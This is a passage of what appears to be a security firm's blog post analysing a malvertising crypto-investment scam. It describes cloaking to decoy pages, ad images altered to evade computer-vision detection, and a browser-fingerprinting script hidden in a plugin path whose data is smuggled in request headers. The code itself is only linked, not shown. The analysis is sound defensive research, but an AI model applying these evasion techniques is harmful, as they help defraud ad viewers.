class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!R-NW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!R-NW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 424w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 848w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 1272w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!R-NW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png" width="444" height="454" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:454,&quot;width&quot;:444,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!R-NW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 424w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 848w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 1272w, https://substackcdn.com/image/fetch/$s_!R-NW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dcf4685-7170-42fd-be45-8b07ed625473_444x454.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Usually, when the creatives have malicious call-to-actions, clicking on the ads will land the victim at this type of template, where there&#8217;s a button that determines whether to redirect to the scam or a cloaked page.</p><p>Note the tiny red circle on top of the coin image. That&#8217;s also a technique used on some of their creatives to trip up computer vision detection modules:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FV_N!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FV_N!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 424w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 848w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 1272w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FV_N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png" width="875" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!FV_N!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 424w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 848w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 1272w, https://substackcdn.com/image/fetch/$s_!FV_N!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b08602f-6436-46d6-bc0a-4f069e9b1118_875x544.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>The Uncloaking</strong></p><p>For users and devices outside their target audience, clicking on &#8220;click here&#8221; will just redirect to white pages (in cloaking, means a decoy placeholder markup with no malicious intent).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QdOg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QdOg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 424w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 848w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 1272w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QdOg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png" width="875" height="459" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:459,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!QdOg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 424w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 848w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 1272w, https://substackcdn.com/image/fetch/$s_!QdOg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88cff1a9-cb57-44f1-9130-3eeb3a4a9bf4_875x459.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>(<em>https://thesellotto[.]com/start-benefiting/</em>)</p><p>On the other hand, the correct targeting reveals interesting code snippets. The following is what appears to be tracking code for affiliate schemes:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/77408cd61ef3b984332f502f77b08d6e/raw/8588df2104a3063a72a9fa465fe36095c5f58349/cash-1.html">https://gist.githubusercontent.com/dyarochewsky/77408cd61ef3b984332f502f77b08d6e/raw/8588df2104a3063a72a9fa465fe36095c5f58349/cash-1.html</a></strong></p><p>As you can see, this is done over WSS which loads an image with the tracking path /event/lead in order to escape traditional request inspection.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://medium.com/write?source=promotion_paragraph---post_body_banner_home_for_stories_blocks--a48d22788c84---------------------------------------" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8P1E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 424w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 848w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 1272w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8P1E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png" width="1360" height="326" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:326,&quot;width&quot;:1360,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:230794,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:&quot;https://medium.com/write?source=promotion_paragraph---post_body_banner_home_for_stories_blocks--a48d22788c84---------------------------------------&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193823812?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8P1E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 424w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 848w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 1272w, https://substackcdn.com/image/fetch/$s_!8P1E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F195b1ecd-1e9f-42c4-9c29-65b3c4c0d260_1360x326.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>What&#8217;s even more interesting is what was hidden inside a javascript library:</p><p>https://thesellotto[.]com/wp-content/plugins/contact-form-7/js/respond.js?ver=5.2.2</p><p>This is what the link loads for a normal out-of-target user:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/02cac7e3ab0f17d65ce280ef8f5d0e09/raw/af112806ef328652221cfd8475bd54355d90fc1a/cash2.js">https://gist.githubusercontent.com/dyarochewsky/02cac7e3ab0f17d65ce280ef8f5d0e09/raw/af112806ef328652221cfd8475bd54355d90fc1a/cash2.js</a></strong></p><p>Nothing to see, right? Well, look at what we got it to load instead for us:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/1c0d440fd65cff70ed4df1e4f421a1a8/raw/2ebee2915f2e19e7992e083ec836a8f942561ea5/cash3.js">https://gist.githubusercontent.com/dyarochewsky/1c0d440fd65cff70ed4df1e4f421a1a8/raw/2ebee2915f2e19e7992e083ec836a8f942561ea5/cash3.js</a></strong></p><p>This was decided server-side, so they likely inspected our client&#8217;s TLS and HTTP layers to serve us the malicious code.</p><p>Here&#8217;s the array it built to fingerprint the browser:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/4d15592d010e8d00a2a97aeada67e004/raw/49d91471622619e02c79116e91e24aa18aef517f/payload.json">https://gist.githubusercontent.com/dyarochewsky/4d15592d010e8d00a2a97aeada67e004/raw/49d91471622619e02c79116e91e24aa18aef517f/payload.json</a></strong></p><p>Very simple payload which includes timezone offset, device platform and language inspection. There&#8217;s one additional interesting step though; for a moment we were confused while inspecting only the network logs as to where the POST with this payload happens. If you look closely though, you&#8217;ll notice that they smuggle it inside a GET request header:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/3bdfd158cf852247f152edd64b9f0b50/raw/e23254f51dc8f999d26b6354b3ba9a0a3b02dc13/p1.js">https://gist.githubusercontent.com/dyarochewsky/3bdfd158cf852247f152edd64b9f0b50/raw/e23254f51dc8f999d26b6354b3ba9a0a3b02dc13/p1.js</a></strong></p><p>So, in effect:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/54b0585cb26046307743f66e84a3f242/raw/40f125ee1b81380c9bffc6f64c9c05df5439574a/p2.js">https://gist.githubusercontent.com/dyarochewsky/54b0585cb26046307743f66e84a3f242/raw/40f125ee1b81380c9bffc6f64c9c05df5439574a/p2.js</a></strong></p><p>which becomes a header:</p><p><strong><a href="https://gist.githubusercontent.com/dyarochewsky/d1f173b41c3ae59fcac9ba6bcc6a6e6c/raw/5b7f233356ec2690bb42be3261288d2051d5ba4a/p3.js">https://gist.githubusercontent.com/dyarochewsky/d1f173b41c3ae59fcac9ba6bcc6a6e6c/raw/5b7f233356ec2690bb42be3261288d2051d5ba4a/p3.js</a></strong></p><p>Neat!</p><p>Aaaand the scam page is:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kq3r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kq3r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 424w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 848w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 1272w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kq3r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png" width="875" height="437" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:437,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!kq3r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 424w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 848w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 1272w, https://substackcdn.com/image/fetch/$s_!kq3r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6d36ba8-afb0-428b-9146-4a9136276e6e_875x437.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Which redirects to a crypto platform on-click, where victims are persuaded to put in a deposit towards a fake investment opportunity.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jtIa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jtIa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 424w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 848w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 1272w, https://substackcdn.com/image/fetch/$s_!jtIa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe70269b9-7f76-49b2-86db-fb776551d29a_875x434.png 1456w" sizes="100vw"><img 